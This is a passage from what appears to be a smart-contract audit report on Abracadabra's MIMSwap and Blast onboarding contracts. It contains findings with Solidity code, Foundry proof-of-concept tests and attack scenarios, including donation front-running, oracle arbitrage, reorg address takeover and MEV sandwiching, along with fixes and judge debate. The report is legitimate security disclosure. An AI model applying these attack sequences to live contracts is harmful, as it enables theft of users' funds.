88: clone = IFactory(factory).create(useTokenAsQuote ? address(weth) : token, useTokenAsQuote ? token : address(weth), lpFeeRate, i, k);
89:
90: weth.deposit{value: msg.value}();
91: token.safeTransferFrom(msg.sender, clone, tokenInAmount);
92: address(weth).safeTransferFrom(address(this), clone, msg.value);
93: (shares, , ) = IMagicLP(clone).buyShares(to);
94: }However, the transfer done using address(weth).safeTransferFrom (see line 92). This works fine on most chains (Ethereum, Optimism, Polygon, BSC) which uses the standard WETH9 contract that handles the case when src == msg.sender:
WETH9.sol
if (src != msg.sender && allowance[src][msg.sender] != uint(- 1)) {
require(allowance[src][msg.sender] >= wad);
allowance[src][msg.sender] -= wad;
}The problem is that the WETH implementation on Blast uses a different contract, and does not have this src == msg.sender handling.
Also, the issue is presented in Wrapped Arbitrum and Wrapped Fantom.
Impact
The failure to approve the Router contract to spend WETH tokens will prevent the protocol from creating native tokens pools on multiple chains like Blast.
Proof of Concept
Run test using this command:
forge test --match-test testPoC_TransferFromRevert --fork-url https://rpc.blast.iopragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "forge-std/console.sol";
import {IERC20} from "forge-std/interfaces/IERC20.sol";
contract PairTest is Test {
address alice = address(0xf683Ce59521AA464066783d78e40CD9412f33D21);
address bob = address(0x2);
// WETH address on Blast network
IERC20 public constant WETH = IERC20(0x4300000000000000000000000000000000000004);
error InsufficientAllowance();
function testPoC_TransferFromRevert() public {
// stdstore write for packed slot is complex so we use a real address that has tokens in blaset main net weth
// if this fails we need to update alice address to an address that has more than 1 ether balance in weth blast main net
assert(WETH.balanceOf(alice) > 1 ether);
vm.startPrank(alice);
vm.expectRevert(InsufficientAllowance.selector);
WETH.transferFrom(alice, bob, 1 ether);
vm.stopPrank();
}
}Test output
2024-03-abracadabra-money main* 5s
❯ forge test --match-test testPoC_TransferFromRevert --fork-url https://rpc.blast.io -vvvv
[⠊] Compiling...
[⠑] Compiling 1 files with 0.8.20
[⠘] Solc 0.8.20 finished in 598.78ms
Compiler run successful!
Ran 1 test for test/weth.t.sol:PairTest
[PASS] testPoC_TransferFromRevert() (gas: 25796)
Traces:
[25796] PairTest::testPoC_TransferFromRevert()
├─ [9930] 0x4300000000000000000000000000000000000004::balanceOf(0xf683Ce59521AA464066783d78e40CD9412f33D21) [staticcall]
│ ├─ [4910] 0x83acB050AA232F97810F32aFACDE003303465ca5::balanceOf(0xf683Ce59521AA464066783d78e40CD9412f33D21) [delegatecall]
│ │ └─ ← 3234865746423262842620 [3.234e21]
│ └─ ← 3234865746423262842620 [3.234e21]
├─ [0] VM::startPrank(0xf683Ce59521AA464066783d78e40CD9412f33D21)
│ └─ ← ()
├─ [0] VM::expectRevert(InsufficientAllowance())
│ └─ ← ()
├─ [3470] 0x4300000000000000000000000000000000000004::transferFrom(0xf683Ce59521AA464066783d78e40CD9412f33D21, 0x0000000000000000000000000000000000000002, 1000000000000000000 [1e18])
│ ├─ [2944] 0x83acB050AA232F97810F32aFACDE003303465ca5::transferFrom(0xf683Ce59521AA464066783d78e40CD9412f33D21, 0x0000000000000000000000000000000000000002, 1000000000000000000 [1e18]) [delegatecall]
│ │ └─ ← InsufficientAllowance()
│ └─ ← InsufficientAllowance()
├─ [0] VM::stopPrank()
│ └─ ← ()
└─ ← ()
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.84s (1.28s CPU time)
Ran 1 test suite in 3.81s (2.84s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)Similar Findings
Tools Used
- Network scan
- Foundry
Recommended Mitigation Steps
To address this issue, it’s recommended to modify the Router.sol file as follows:
src/mimswap/periphery/Router.sol:
-92: address(weth).safeTransferFrom(address(this), clone, msg.value);
+92: address(weth).safeTransfer(clone, msg.value);0xCalibur (Abracadabra) acknowledged, and commented:
Nice catch.
Fix is here: https://github.com/Abracadabra-money/abracadabra-money-contracts/pull/150
[M-02] Tokens yeild can not be set to claimable.
Submitted by hassanshakeel13
The enabling of yeild on rebasing tokens can be permanently DOS-ed.
Proof of Concept
Abracadabra uses this signature for the configure function for the rebasing function of WETH and USDB
function configure(YieldMode) external returns (YieldMode);But the actual signature for this is:
function configure(YieldMode yieldMode) external returns (uint256)And it returns the balance of caller
So if the balance of contract is above 2, this function becomes unusable and can’t configure the yeild to be claimable.
The following function always fails:
This can be exploited by attacker by donating a very little amount of eth to the magicLP, blastOnBoarding and now the blastOnBoarding can’t make yeild claimable when the following function is invoked.
Recommended Mitigation Steps
Use the correct signature used in blast codebase.
0xCalibur (Abracadabra) confirmed and commented:
This is a valid report. We already fixed it before the audit ended.
The fix is here in IBlast.sol:
Also fixed in the BlastMock.sol file.
cccz (Judge) decreased severity to Medium and commented:
Downgrade to M because the problematic function will be called when deployed. An attacker can just exploit it to prevent the contract from being deployed. And if the attacker wants to exploit it after the contract is deployed, since the mode is fixed to YieldMode.CLAIMABLE, it will just return even if it is called again by the Owner.
function enableTokenClaimable(address token) internal { if (IERC20Rebasing(token).getConfiguration(address(this)) == YieldMode.CLAIMABLE) { return; }This is the deployment script for blastOnboarding.sol, which shows that setTokenSupported will be called immediately after deployment.
contract BlastOnboardingScript is BaseScript { function deploy() public returns (BlastOnboarding onboarding) { address owner = toolkit.getAddress(block.chainid, "safe.ops"); address feeTo = toolkit.getAddress(block.chainid, "safe.ops"); address blastGovernor = toolkit.getAddress(block.chainid, "blastGovernor"); address blastTokenRegistry = toolkit.getAddress(block.chainid, "blastTokenRegistry"); vm.startBroadcast(); onboarding = BlastOnboarding( payable(deploy("Onboarding", "BlastOnboarding.sol:BlastOnboarding", abi.encode(blastTokenRegistry, feeTo, tx.origin))) ); if (!testing()) { address usdb = toolkit.getAddress(block.chainid, "usdb"); address mim = toolkit.getAddress(block.chainid, "mim"); if (!onboarding.supportedTokens(usdb)) { onboarding.setTokenSupported(usdb, true); } if (!onboarding.supportedTokens(mim)) { onboarding.setTokenSupported(mim, true); } if (onboarding.owner() != owner) { onboarding.transferOwnership(owner); } } vm.stopBroadcast(); } }Also, even without the deployment script, I think this is a DOS of M severity and there is no loss of funds because the user cannot deposit tokens until setTokenSupported is called.
Note: For full discussion, see here.
[M-03] Miscalculation in addLiquidity of Router results in unauthorized spending of tokens
Submitted by Trust, also found by ether_sky
Description
Users are expected to add liquidity through addLiquidity() of the Router. It receives base and quote amounts which are adjusted through _adjustAddLiquidity():
function addLiquidity(
address lp,
address to,
uint256 baseInAmount,
uint256 quoteInAmount,
uint256 minimumShares,
uint256 deadline
) external ensureDeadline(deadline) returns (uint256 baseAdjustedInAmount, uint256 quoteAdjustedInAmount, uint256 shares) {
(baseAdjustedInAmount, quoteAdjustedInAmount) = _adjustAddLiquidity(lp, baseInAmount, quoteInAmount);
IMagicLP(lp)._BASE_TOKEN_().safeTransferFrom(msg.sender, lp, baseAdjustedInAmount);
IMagicLP(lp)._QUOTE_TOKEN_().safeTransferFrom(msg.sender, lp, quoteAdjustedInAmount);
shares = _addLiquidity(lp, to, minimumShares);
}The adjustment function has DODOv2 code which determines the effective base:quote ratio and adjusts the higher of the two input values so that no input is wasted. Additionally Abrakadbra inserted the following logic at the start of the function:
(uint256 baseReserve, uint256 quoteReserve) = IMagicLP(lp).getReserves();
uint256 baseBalance = IMagicLP(lp)._BASE_TOKEN_().balanceOf(address(lp)) + baseInAmount;
uint256 quoteBalance = IMagicLP(lp)._QUOTE_TOKEN_().balanceOf(address(lp)) + quoteInAmount;
baseInAmount = baseBalance - baseReserve;
quoteInAmount = quoteBalance - quoteReserve;The intention is that if the current balance of token X is higher than reserve, the input should be reduced so that only the delta needs to be sent. However the logic is miswritten.
The balanceOf() and getReserve() calls have been reversed. The correct logic should be:
requested amount = reserves + requested amount - balance
Instead it is:
requested amount = balance + requested amount - reserves.
The higher the current balanceOf(), the higher the final requested amount becomes. This is a critical issue because tokens can be donated to the MagicLP by an attacker, making the victim send more tokens than expected. The POC gives an example of such a sequence.
Essentially this makes addLiquidity(amountX, amountY, minShares) become: (amountX2, amountY2, minShares) where amountX2 > amountX, amountY2 > amountY. By definition this is unauthorized use of the victim’s funds.
Impact
Unauthorized spending of victim’s tokens, leading to monetary losses.
Proof of Concept
- MagicLP has (500 USDC, 500 DAI) reserves and balances, 100 shares
- Victim calls addLiquidity for (1000 USDC, 1000 DAI) , min 200 shares
- Attacker frontrans and donates (1000 USDC, 500 DAI) to the LP
- addLiquidity() executes:
- baseInAmount = 1500 + 1000 - 500 = 2000 USDC
- quoteInAmount = 1000 + 1000 - 500 = 1500 DAI
- baseIncreaseRatio = 2000 / 500 = 4
- quoteIncreaseRatio = 1500 / 500 = 3
- quoteAdjustedInAmount = 1500 DAI
- baseAdjustedInAmount = 500 * 3 = 1500 USDC
Therefore LP::buyShares() is called with (1500, 1500) for 200 shares instead of (1000, 1000)
User has now put an extra ($500,$500) of unauthorized funds in the contract. They may or may not be aware of it when the TX is executed. Note that funds put in the LP are obviously in risk of impermanent loss alongside any other economic, systemic and security-related risks. This is a simple example to prove the point but could be tweaked for different tokens (more or less volatile), amounts and ratios.
Recommended Mitigation Steps
Change the usage of getReserves() and balanceOf() in the lines below as described:
(uint256 baseReserve, uint256 quoteReserve) = IMagicLP(lp).getReserves();
uint256 baseBalance = IMagicLP(lp)._BASE_TOKEN_().balanceOf(address(lp)) + baseInAmount;
uint256 quoteBalance = IMagicLP(lp)._QUOTE_TOKEN_().balanceOf(address(lp)) + quoteInAmount;A great extra invariant check would be to require in addLiquidity() that the results baseAdjustedInAmount, quoteAdjustedInAmount are smaller than the original input amounts respectively.
Note that the issue also occurs in the preview function:
function previewAddLiquidity(
address lp,
uint256 baseInAmount,
uint256 quoteInAmount
) external view returns (uint256 baseAdjustedInAmount, uint256 quoteAdjustedInAmount, uint256 shares) {
(uint256 baseReserve, uint256 quoteReserve) = IMagicLP(lp).getReserves();
uint256 baseBalance = IMagicLP(lp)._BASE_TOKEN_().balanceOf(address(lp)) + baseInAmount;
uint256 quoteBalance = IMagicLP(lp)._QUOTE_TOKEN_().balanceOf(address(lp)) + quoteInAmount;
baseInAmount = baseBalance - baseReserve;
quoteInAmount = quoteBalance - quoteReserve;It should also be fixed here. We view it as the same root cause, but of a lesser end impact.
0xCalibur (Abracadabra) confirmed and commented:
Fix here:
https://github.com/Abracadabra-money/abracadabra-money-contracts/pull/141
cccz (Judge) decreased severity to Medium and commented:
This is more of a griefing attack, and it seems the victim’s 200 share would be worth 2000 USDC, 1666 DAI?
Unauthorized spending of tokens is breaking of a core invariant (do not use money user did not intend to spend), which by itself achieves High impact. The submission also explains the risks affecting the unapproved funds.
Note that sponsor has confirmed the issue at High severity and views it as such.
Hey @trust1995, in POC, if I understand correctly, while the victim spends more tokens, the shares the victim receives will be worth more due to the donations of the griefer (3000 -> 3666), and there doesn’t seem to be any locks here, so I don’t think this as a higher impact than DOS.
I can confirm that the user spends more tokens and receives more shares. In my opinion that suffices for H severity as it is not blocking a victim interaction, it is taking unapproved funds (until the user figures out how to redeem them back). Again, touching user’s assets without their permission is very severe.
In terms of this attack scenario
- The attacker needs to donate funds
- the victim spends more funds than expected
- The victim receives a portion of the attacker’s donated funds
- the user who added the liquidity should know how to get them back
- victims can get more money back immediately
So I don’t think this is high severity.
[M-04] Loss of assumed functionality of the Onboarding contract in a highly-sensitive area
Submitted by Trust, also found by hals and SpicyMeatball
The BlastOnboardingBoot contract contains the bootstraping funds. After launch it will start a reward staking pool and allow users to claim tokens into it. This is in the launch sequence:
staking = new LockingMultiRewards(pool, 30_000, 7 days, 13 weeks, address(this));
staking.setOperator(address(this), true);
staking.transferOwnership(owner);
// Approve staking contract
pool.safeApprove(address(staking), totalPoolShares);Note that the code approves the staking pool towithdraw from the created LP. The code also provisions setting of the staking contract to another one.
// Just in case we need to change the staking contract after
// the automatic bootstrapping process
function setStaking(LockingMultiRewards _staking) external onlyOwner {
if (ready) {
revert ErrCannotChangeOnceReady();
}
staking = _staking;
emit LogStakingChanged(address(_staking));
}The issue is that this function lacks two actions:
- Resetting the previous staking pool’s approval to zero
- More importantly, approving the new staking pool all the bootstrap pool shares
As a result, owner which assumes changing to a new staking pool is perfectly safe, will in fact cause reverts when users try claiming in the new pool. It is still possible to revert back to the old staking pool, but in fact it will never be possible to migrate to a new pool as no other approve() call exists in the contract.
Impact
Loss of assumed functionality of the Onboarding contract in a highly-sensitive area.
Recommended Mitigation Steps
- Approve the new contract
- Revoke approval from the previous contract for good sanitization
Change staking contract, miss approve update and reset.
0xCalibur (Abracadabra) acknowledged and commented:
we can also upgrade the bootstrapper if we were to use the function. I agree with the finding but we just decided to remove the function setStaking.
[M-05] A user’s tokens could be locked for an extended duration beyond their intention and without their control
Submitted by Trust
Description
The LockingMultiRewards allows anyone to stake MagicLP tokens in return for rewards. LP tokens are sent with either functions below:
function stake(uint256 amount, bool lock_) public whenNotPaused {
_stakeFor(msg.sender, amount, lock_);
}
/// @notice Locks an existing unlocked balance.
function lock(uint256 amount) public whenNotPaused {
if (amount == 0) {
revert ErrZeroAmount();
}
_updateRewardsForUser(msg.sender);
_balances[msg.sender].unlocked -= amount;
unlockedSupply -= amount;
_createLock(msg.sender, amount);
}This will lead to _createLock(), which calculates the nextUnlockTime():
function _createLock(address user, uint256 amount) internal {
Balances storage bal = _balances[user];
uint256 _nextUnlockTime = nextUnlockTime(); function nextUnlockTime() public view returns (uint256) {
return nextEpoch() + lockDuration;
}Note that nextEpoch() would always return the next 1-week (or reward duration) slot.
function epoch() public view returns (uint256) {
return (block.timestamp / rewardsDuration) * rewardsDuration;
}
function nextEpoch() public view returns (uint256) {
return epoch() + rewardsDuration;
}An issue arises because the user cannot specify the latest desired unlock time. This opens the path for the tokens to be locked for longer than expected, which may have significant impact for users if they need the funds. Consider the following case, where x is week number:
- It is day 7x + 6 (one day from nextEpoch)
- Assumed unlock time is
7x + 7 + lockDuration - The TX does not execute in next 1 day for any reason (gas price went up, validator does not include TX, etc)
- It is now day 7x+7, another epoch starts. Now nextEpoch is
7x + 14 - Executed unlock time is
7x + 14 + lockDuration
This means user’s funds are locked for an additional 7 days more than expected.
Note that delayed execution of a user’s TX has always been considered in scope, certainly for Med severity impacts: - https://solodit.xyz/issues/m-13-interactions-with-amms-do-not-use-deadlines-for-operations-code4rena-paraspace-paraspace-contest-git - https://solodit.xyz/issues/m-04-lack-of-deadline-for-uniswap-amm-code4rena-asymmetry-finance-asymmetry-contest-git - https://solodit.xyz/issues/m-03-missing-deadline-param-in-swapexactamountout-allowing-outdated-slippage-and-allow-pending-transaction-to-be-executed-unexpectedly-code4rena-pooltogether-pooltogether-git
Essentially the locking function lacks a deadline parameter similar to swapping functions, and the impact is temporary freeze of funds.
Impact
A user’s tokens could be locked for an extended duration beyond their intention and without their control.
Recommended Mitigation Steps
Consider adding a latestUnlockTime deadline parameter for the locking functions.
0xCalibur (Abracadabra) acknowledged, but disagreed with severity and commented:
https://github.com/Abracadabra-money/abracadabra-money-contracts/pull/138
Should be low.
Here the latest discussion on transaction delays. https://github.com/code-423n4/2024-02-uniswap-foundation-findings/issues/331#issuecomment-2021292618
And I would consider it QA which is due to low likelihood and medium impact (temporary freeze of funds).
Hi,
I would like to argue that likelihood is medium and impact is high. likelihood - Assuming there will be many stakers on the platform, at any moment there could be a request close to the end of epoch. The closer the request is to the end of an epoch, the more likely it is a TX will not be executed until the next one. Additionally, the users of the stake() function are completely different in understanding/sophistication from the ones in the Unistaker audit. They cannot be assumed to understand TX delays, requirement of invalidating one’s TX if it is undesirable, etc. Additionally one needs to take into consideration that gas prices are fluctuating, so censorship of a TX is absolutely not required for the FoF to occur. It just needs to be on a local low-point for the duration until the next interval for the impact to be achieved. Again, consider that this is not a targetted attack , the issue is a constant probabilistic leak that given enough time will materialize.
For impact, temporary FoF is a very serious issue, on the low end of the High impact (imo). Consider for example that a user assumes their tokens will be available at the unlock period in order to pay off a loan, and because of the FoF they will now default. This is just one example of hundred of different very serious scenarios that would occur to a user that assumes funds will be available in the future.
Considering all the arguments above, I believe the finding to be between M and H severity, rather than between L and M severity.
Agreed, the lock duration is jumping, which may compromise user.
[M-06] MagicLpAggregator always returns lower than correct answer, leading to arbitrage loss
Submitted by Trust
MagicLpAggregator is used to price LP tokens for “closely-tied” underlying tokens. It calculates the price below:
function latestAnswer() public view override returns (int256) {
uint256 baseAnswerNomalized = uint256(baseOracle.latestAnswer()) * (10 ** (WAD - baseOracle.decimals()));
uint256 quoteAnswerNormalized = uint256(quoteOracle.latestAnswer()) * (10 ** (WAD - quoteOracle.decimals()));
uint256 minAnswer = baseAnswerNomalized < quoteAnswerNormalized ? baseAnswerNomalized : quoteAnswerNormalized;
(uint256 baseReserve, uint256 quoteReserve) = _getReserves();
baseReserve = baseReserve * (10 ** (WAD - baseDecimals));
quoteReserve = quoteReserve * (10 ** (WAD - quoteDecimals));
return int256(minAnswer * (baseReserve + quoteReserve) / pair.totalSupply());
}The code takes the minimal answer between the underlying oracles and considers all reserves to be worth that amount:
return int256(minAnswer * (baseReserve + quoteReserve) / pair.totalSupply());
The issue is that any difference in price between the assets represents an easy arbitrage opportunity. Suppose we have tokens (A,B), where real oracle shows:
- A = $0.99
- B = $1
The Pool has 1000000 LP tokens and contains:
- 1000000 A
- 1000000 B
The LP value would calculate as:
0.99 * 2000000 / 1000000 = $1.98
The actual value is:
(0.99 * 1000000 + 1 * 1000000) / 1000000 = $1.99
Suppose a platform trades LPs using the aggregator pricing. An attacker could:
- Buy 100,000 LP tokens at $198000
- Withdraw from the pool the underlying shares
- Sell 100,000 A, 100,000 B at $199000
- Profit $1000 from the exchange, when the difference is just$0.01 (this is very common fluctuation even with pegged assets).
The delta comes at the expense of LP holders whose position gets minimized.
Impact
Loss of value due to arbitrage of any platform using MagicLpAggregator pricing.
Recommended Mitigation Steps
Always calculate the value based on the real underlying token value multiplied by amount.
Consider creating two separate oracles for lower-bound and upper-bound results. Then a lending protocol could indeed use the lower-bound for determining collateral value.
0xm3rlin (Abracadabra) disputed and commented:
Intended behavior.
Rounding error could accumulate in MagicLpAggregator.
[M-07] Permanent loss of yield for stakers in reward pools due to precision loss.
Submitted by Trust, also found by AgileJune, Bigsam, and grearlake
The LockingMultiRewards contract facilitates distribution of rewards across the remaining epoch duration. The calculation for reward rate is provided below:
reward.rewardRate = amount / _remainingRewardTime;
The rate is later multiplied by the duration to get the total rewards for elapsed time, demonstrated below:
function rewardsForDuration(address rewardToken) external view returns (uint256) {
return _rewardData[rewardToken].rewardRate * rewardsDuration;
}An issue occurs because there is no sufficient wrapping of the amount before dividing by _remainingRewardTime. The number is divided and later multiplied by elapsed time, causing a loss of precision of the amount modulo remaining time. For the provided period of 1 week by the sponsor, the maximum amount lost can be calculated:
7 * 24 * 3600 - 1 = 604799.
Note that the average case loss is half of the worst case assuming even distribution across time. However since rewards are usually not sent at the low end of remaining time (see the minRemainingTime variable, the actual average would be higher).
The effect of this size of loss depends on the decimals and value of the reward token. For USDC, this would be $0.6. For WBTC, it would be$423 (at time of writing). The loss is shared between all stakers relative to their stake amount. The loss occurs for every notification, so it is clear losses will be severe.
Sponsor remarked in the channel that reward tokens would be real, popular tokens. We believe USDC / WBTC on ARB are extremely popular tokens and therefore remain fully in scope as reward tokens.
Severity Rationalization
Impact - high Likelihood - medium -> Severity - high
Impact
Permanent loss of yield for stakers in reward pools due to precision loss.
Proof of Concept
- Reward pool offers WBTC rewards
- Epoch has just started,
Recommended Mitigation Steps
Store the rewardRate scaled by 1e18, so loss of precision will be lower by magnitude of 1e18.
0xCalibur (Abracadabra) disputed and commented via duplicate #166:
No factor.
Hi,
The duplicate has been closed due to loss of “dust amounts”. However I show in my submission that it is far from dust, I believe any submissions that have identified material loss of funds should be awarded appropriately.
[M-08] Factory::create() is vulnerable to reorg attacks
Submitted by Bauchibred
function create(address baseToken_, address quoteToken_, uint256 lpFeeRate_, uint256 i_, uint256 k_) external returns (address clone) {
address creator = tx.origin;
bytes32 salt = _computeSalt(creator, baseToken_, quoteToken_, lpFeeRate_, i_, k_);
clone = LibClone.cloneDeterministic(address(implementation), salt);
IMagicLP(clone).init(address(baseToken_), address(quoteToken_), lpFeeRate_, address(maintainerFeeRateModel), i_, k_);
emit LogCreated(clone, baseToken_, quoteToken_, creator, lpFeeRate_, maintainerFeeRateModel, i_, k_);
_addPool(creator, baseToken_, quoteToken_, clone);
}We can see that this function uses the create() logic and depends on the tx.origin, now Blast is suspicious of a reorg attack and protocol would be deployed on here.
Where as one can assume that the tx.origin should be different for different calls this is not really the case as going to the Blast Explorer for transactions that are currently enqueued we can see that only two addresses are rampant as the tx.origin, i.e 0x4b16E5d33D7ab3864d53aAec93c8301C1FA4a226 and 0x6e5572f31bd9385709ec61305Afc749F0fa8fae1 what this leads is the fact that another user can just wait and due to a re-org take control of the magic lp deployment, since the tx.origin in this case would be the same with original deployer’s own.
Impact
Now, if users rely on the address derivation in advance or try to deploy the magiclp with the same address, any funds/tokens sent to it could potentially be withdrawn by anyone else. All in all, it could lead to the theft of user funds.
Recommended Mitigation Steps
Try the deployment using create2 with salt that includes real msg.sender.
0xCalibur (Abracadabra) acknowledged and commented:
This was fixed during the audit. We now use the creator address as part of the salt.
https://docs.code4rena.com/roles/judges/how-to-judge-a-contest#notes-on-judging
Unless there is something uniquely novel created by combining vectors, most submissions regarding vulnerabilities that are inherent to a particular system or the Ethereum network as a whole should be considered QA. Examples of such vulnerabilities include front running, sandwich attacks, and MEV. In such events, leave a comment on the issue:
As per the c4 docs, will downgrade to QA.
Bauchibred (Warden) commented:
Hi @cccz (Judge), thanks for judging, in regards to this:
https://docs.code4rena.com/roles/judges/how-to-judge-a-contest#notes-on-judging
Unless there is something uniquely novel created by combining vectors, most submissions regarding vulnerabilities that are inherent to a particular system or the Ethereum network as a whole should be considered QA. Examples of such vulnerabilities include front running, sandwich attacks, and MEV. In such events, leave a comment on the issue:
As per the c4 docs, will downgrade to QA.
The idea of using this rule as the grounds for downgrading this issue seems to be flawed, cause considering this rule, do we now say all front running, MEV bug ideas are invalid on Code4rena? We beg to differ as context really matters for bug cases like this.
In fact a similar discussion around this bug case (very similar instance) was held a short while ago, can be seen here, and the deciding lines of the validity of the report not being a medium severity was the fact that in that instance the protocol was to be deployed on Canto, and Canto is a fork of Evmos/Ethermint, so it uses Tendermint Core BFT consensus, which provides a 1-block finality and not probabilisitic finality like other chains: https://docs.ethermint.zone/core/pending_state.html
But that’s not the case we have here, in this case protocol is to be deployed on Blast
- Blast is an optimistic rollup, just like Arbritrum, Base, Optimism, etc.
- Optimistic rollups are known for having re-org issues.
- Not all current
satisfactoryH/M issues have been fixed by the protocol, but this was not only confirmed by the protocol but also addressed in this commit, proving that this issue is of great value to them and accepted by them to be worthy a fix.Considering all the above arguments, we’d request a reassessment of this finding being validated as medium severity, thank you.
These facts raise the likelihood of this issue, will reconsider it as M:
- Blast is an optimistic rollup, just like Arbritrum, Base, Optimism, etc.
- Optimistic rollups are known for having re-org issues.
[M-09] Adjusting ”I” will create a sandwich opportunity because of price changes
Submitted by grearlake, also found by roguereggiant, Breeje, hals, and blutorque
https://github.com/code-423n4/2024-03-abracadabra-money/blob/main/src/mimswap/MagicLP.sol#L470-#L510
https://github.com/code-423n4/2024-03-abracadabra-money/blob/main/src/mimswap/MagicLP.sol#L244-#L265
Because MagicLP is forked from DODO, we will check DODO documentation to understand this contract. From DODO documentation, the ”I” is the “i” value in here and it is directly related with the output amount a trader will receive when selling a quote/base token:
Adjusting the value of ”I” directly by calling setParameters() function will influence the price. This can be exploited by a MEV bot, simply by trading just before the setParameters() function and exiting right after the price change. The profit gained from this operation essentially represents potential losses for the liquidity providers who supplied liquidity to the pool.
Impact
Since the price will change, the MEV bot can simply sandwich the tx and get profit.
Another note on this is that even though the adjustPrice called by onlyImplementationOwner without getting frontrunned, it still creates a big price difference which requires immediate arbitrages. Usually these type of parameter changes that impacts the trades are setted by time via ramping to mitigate the unfair advantages that it can occur during the price update.
Recommended Mitigation Steps
Acknowledge the issue and use private RPC’s to eliminate front-running or slowly ramp up the ”I” so that the arbitrage opportunity is fair
0xCalibur (Abracadabra) acknowledged and commented:
Fixed in main: https://github.com/Abracadabra-money/abracadabra-money-contracts/
We now have protocol own pool and can disable trading for our own pools, changing the parameters and make sure the pool is in good state before enabling it back.
[M-10] Missing Return Statement in _getReserves Function in MagicLpAggregator Contract
Submitted by 0xAadi, also found by bareli, 0x11singh99, and hihen
The MagicLpAggregator contract contains a flaw within the _getReserves function where it fails to return the reserve values fetched from the pair contract. This oversight results in the latestAnswer function always returning zero, which can have severe implications for any systems that depend on this contract for accurate liquidity pool pricing data.
Impact
The missing return statement in the _getReserves function leads to the latestAnswer function always returning zero. This affects any dependent systems or contracts that rely on accurate price data from the MagicLpAggregator contract, as they will receive incorrect information, potentially leading to financial loss or system failure.
Proof of Concept
The _getReserves function in the provided code snippet does not return the fetched reserves:
33: function _getReserves() internal view virtual returns (uint256, uint256) {
34: (uint256 baseReserve, uint256 quoteReserve) = pair.getReserves();
35: }Due to the missing return statement, the latestAnswer function uses uninitialized variables for baseReserve and quoteReserve, which default to zero:
function latestAnswer() public view override returns (int256) {
// ...
(uint256 baseReserve, uint256 quoteReserve) = _getReserves();
baseReserve = baseReserve * (10 ** (WAD - baseDecimals)); // baseReserve defaults to 0
quoteReserve = quoteReserve * (10 ** (WAD - quoteDecimals)); // quoteReserve defaults to 0
// ...
}Recommended Mitigation Steps
Update _getReserves()
- function _getReserves() internal view virtual returns (uint256, uint256) {
+ function _getReserves() internal view virtual returns (uint256 baseReserve, uint256 quoteReserve) {
- (uint256 baseReserve, uint256 quoteReserve) = pair.getReserves();
+ (baseReserve, quoteReserve) = pair.getReserves();
}0xCalibur (Abracadabra) confirmed and commented:
Fixed in main during the audit:
https://github.com/Abracadabra-money/abracadabra-money-contracts
Note: For full discussion, see here.
[M-11] MagicLpAggregator can be incompatible with potential integrators due to incorrect latestRoundData function
Submitted by DarkTower
MagicLpAggregator does not update the roundId, startAt, updatedAt and answeredInRound to correct values.
function latestRoundData() external view returns (uint80, int256, uint256, uint256, uint80) {
return (0, latestAnswer(), 0, 0, 0);
}A common code is to check updatedAt for staleness issue (although it isn’t required to do so anymore.
(, int256 price, , uint256 updatedAt, ) = priceFeed.latestRoundData();
if (updatedAt < block.timestamp - 60 * 60 /* 1 hour */) {
revert("stale price feed");
}Therefore any integrator that uses the above code will not be able to integrate
MagicLpAggregator oracles as it will always revert due to the incorrect updatedAt being provided.
Recommended Mitigation Steps
Use the values roundId, startAt, updatedAt and answeredInRound from whichever oracle, baseOracle or quoteOracle was used.
I think we should reiterate the issue here as the submission has tried its best to point out:
- The
MagicLpAggregatorgets the price from Chainlink’s Feed- Integrators (for example protocol A) query the
MagicLPAggregatorOracle for price specifically thelatestRoundData()function it exposes in their implementation- They make sure the prices returned are fresh and so do well to check the time specifically
updatedAtso they can be sure the feed is fresh to proceed with utilizing the returned data- Since the
updatedAtas well as other returned data are hardcoded to 0 inMagicLpAggregatororacle implementation, the call reverts. 0 will always be less thanblock.timestamp - 60 * 60The step by step description of the issue above I believe is sufficient but here’s a provided POC to elaborate on this in code:
Test file in the abracadabra codebase is: MagicLPAggregator.t.sol
function testProtocolAIntegrationOfMagicLPAggReverts() public { // return values of `MagicLpAggregator` latestRoundData() (uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound) = aggregator.latestRoundData(); // protocol A tries to make sure the prices returned is fresh by checking the time // keep in mind the time aka updatedAt is hardcoded to 0. So 0 will always be less than `block.timestamp - 60 * 60` hence a revert if (updatedAt < block.timestamp - 60 * 60 /* 1 hour */) { revert("stale price feed"); } }Ran 1 test for test/MagicLpAggregator.t.sol:MagicLpAggregatorTest [FAIL. Reason: revert: stale price feed] testProtocolAIntegrationOfMagicLPAggReverts() (gas: 57187) Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 2.56s (2.88ms CPU time)
latestRoundData() is different from the standard and may cause integration issues. Will consider it a valid M.
[M-12] MagicLpAggregator doesn’t consider the dcimal of MagicLP
Submitted by ether_sky, also found by hals, DarkTower, and SpicyMeatball
We can know that the MagicLpAggregator can serve as the price source for MagicLP shares when the prices of base and quote tokens are similar.
MagicLpAggregator would be used to price MagicLP collateral for Cauldrons.
Something to note is that the MagicLP Oracle is only meant for closed-together price pool.
It's just that the oracle is not meant to be used for any kind of MagicLP, just for closely priced tokens like MIM/USDB.There’s no assurance that we can use MagicLpAggregator for base and quote tokens with only 18 decimals.
The MagicLP token has the same decimal as the base token.
However, the MagicLpAggregator does not account for this decimal, resulting in incorrect prices when the decimal of the base token is not 18.
Proof of Concept
The MagicLP has the same decimal as the base token.
function decimals() public view override returns (uint8) {
return IERC20Metadata(_BASE_TOKEN_).decimals();
}In MagicLpAggregator, we take into account the decimals of the base oracle, quote oracle, base tokens, and quote tokens, but we skip the MagicLP.
function latestAnswer() public view override returns (int256) {
uint256 baseAnswerNomalized = uint256(baseOracle.latestAnswer()) * (10 ** (WAD - baseOracle.decimals()));
uint256 quoteAnswerNormalized = uint256(quoteOracle.latestAnswer()) * (10 ** (WAD - quoteOracle.decimals()));
uint256 minAnswer = baseAnswerNomalized < quoteAnswerNormalized ? baseAnswerNomalized : quoteAnswerNormalized;
(uint256 baseReserve, uint256 quoteReserve) = _getReserves();
baseReserve = baseReserve * (10 ** (WAD - baseDecimals));
quoteReserve = quoteReserve * (10 ** (WAD - quoteDecimals));
return int256(minAnswer * (baseReserve + quoteReserve) / pair.totalSupply());
}As a result, the above function will yield an incorrect price when the decimal of the base token is not 18.
Let’s consider an example where the decimal of the base token is 12 and the decimal of the quote token is 18.
Additionally, the decimal of the base oracle is 8, and the decimal of the quote oracle is 12.
We’ll assume that the price of both tokens is 4 USD.
